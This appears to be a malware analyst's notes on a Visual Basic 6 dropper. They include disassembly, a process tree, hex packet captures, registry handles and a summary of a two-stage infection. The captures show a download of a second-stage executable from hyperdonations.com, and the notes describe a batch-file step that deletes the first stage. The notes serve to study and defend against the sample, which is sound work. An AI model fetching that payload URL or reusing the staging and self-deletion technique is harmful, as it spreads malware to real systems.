MS Visual Basic 6.0 Binary

.text 0x401000 - 0x42f5a0 = 189856 bytes -> VB

ExeName32="Bigh Fand.exe"
Name="Biradiate"
Title="Skulked4"

vbaVarAdd -> vbaNew2 -> vbaFreeVar

```
mov esi, [00401088h]  // vbaVarAdd
lea ecx, var_40
mov var_38, eax
lea edx, var_30
push ecx
```

05-27-2017-15-54-12	w.exe [2072]	explorer.exe	2752	PARENT
05-27-2017-15-54-37	w.exe [1840]	w.exe	2072	PARENT
05-27-2017-15-54-45	cmd.exe [3816]	Executes the bat file and deletes the 1t stage payload	w.exe	1840 PARENT

05-27-2017-16-26-08	4889040.exe [1536]	2nd stage Payload	w.exe	4048

RandomName.exe

```
========================== (UDURRANI) ================================

(LAYER: 4)                                                    DNS
s_port: 53 |d_port: 59764 |len=59764
    68 4B 81 80 00 01 00 01 00 00 00 00 0E 68 79 70        hK.?.........hyp
    65 72 64 6F 6E 61 74 69 6F 6E 73 03 63 6F 6D 00        erdonations.com.
    00 01 00 01 C0 0C 00 01 00 01 00 00 00 05 00 04        ................
    68 DB F8 65                                            h..e

========================== (UDURRANI) ================================
(INIT) SYN PACKET SENT FROM 172.16.177.131      TO IP ADDRESS 104.219.248.101
        PORT INFORMATION (49267, 80)
        SEQUENCE INFORMATION (816730859, 0)
        |URG:0 | ACK:0 | PSH:0 | RST:0 | SYN:1 | FIN:0|
        (66)
```

```
========================== (UDURRANI) ================================
(DATA PUSH!) IS COMING FROM 172.16.177.131      TO IP ADDRESS 104.219.248.101
        PORT INFORMATION (49267, 80)
        SEQUENCE INFORMATION (816730860, 3392391993)

        |URG:0 | ACK:1 | PSH:1 | RST:0 | SYN:0 | FIN:0|
        (236)
    47 45 54 20 2F 67 78 7A 2F 73 68 69 74 2E 65 78        GET /gxz/shit.ex
    65 20 48 54 54 50 2F 31 2E 30 0D 0A 48 6F 73 74        e HTTP/1.0..Host
    3A 20 68 79 70 65 72 64 6F 6E 61 74 69 6F 6E 73        : hyperdonations
    2E 63 6F 6D 0D 0A 41 63 63 65 70 74 3A 20 2A 2F        .com..Accept: */
    2A 0D 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 69        *..Accept-Encodi
    6E 67 3A 20 69 64 65 6E 74 69 74 79 2C 20 2A 3B        ng: identity, *;
    71 3D 30 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A        q=0..Connection:
    20 63 6C 6F 73 65 0D 0A 55 73 65 72 2D 41 67 65         close..User-Age
    6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 34 2E 30 20        nt: Mozilla/4.0
    28 63 6F 6D 70 61 74 69 62 6C 65 3B 20 4D 53 49        (compatible; MSI
    45 20 35 2E 30 3B 20 57 69 6E 64 6F 77 73 20 39        E 5.0; Windows 9
    38 29 0D 0A 0D 0A                                      8)....
```

```
54 79 70 65 3A 20 61 70 70 6C 69 63 61 74 69 6F        Type: applicatio
6E 2F 78 2D 6D 73 64 6F 73 2D 70 72 6F 67 72 61        n/x-msdos-progra
6D 0D 0A 0D 0A 4D 5A 90 00 03 00 00 00 04 00 00        m....MZ.........
00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00        ............@..
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00        ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00        ................
```

2nd stage Binary

HANDLES

File	\Device\HarddiskVolume1\Users\test01\Desktop
Key	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Sorting\Versions
Key	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SESSION MANAGER
Key	\REGISTRY\MACHINE
Key	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
Key	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions
WindowStation	\Sessions\2\Windows\WindowStations\WinSta0
Desktop	\Default
WindowStation	\Sessions\2\Windows\WindowStations\WinSta0
Key	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale
Directory	\Sessions\2\BaseNamedObjects
Key	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale
Key	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\Alternate Sorts
Key	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups
Semaphore	\Sessions\2\BaseNamedObjects\C:?USERS?TEST01?DESKTOP?W.EXE
File	\Device\KsecDD
Key	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\CodePage
File	\Device\HarddiskVolume1\Windows\SysWOW64\en-US\user32.dll.mui
File	\Device\HarddiskVolume1\Windows\Fonts\StaticCache.dat
Mutant	\Sessions\2\BaseNamedObjects\MSCTF.Asm.MutexDefault2
File	\Device\HarddiskVolume1\Windows\SysWOW64\en-US\msctf.dll.mui

- 1st stage calls a .bat file
- CreateProcess()
- cmd /c C:\Users\<UID>\AppData\Local\Temp\<rand>.bat C:\Users\test01\Desktop\payload.exe
- del %1 used to delete the previous binary
- Eventually the payload hooks certain functions to get system information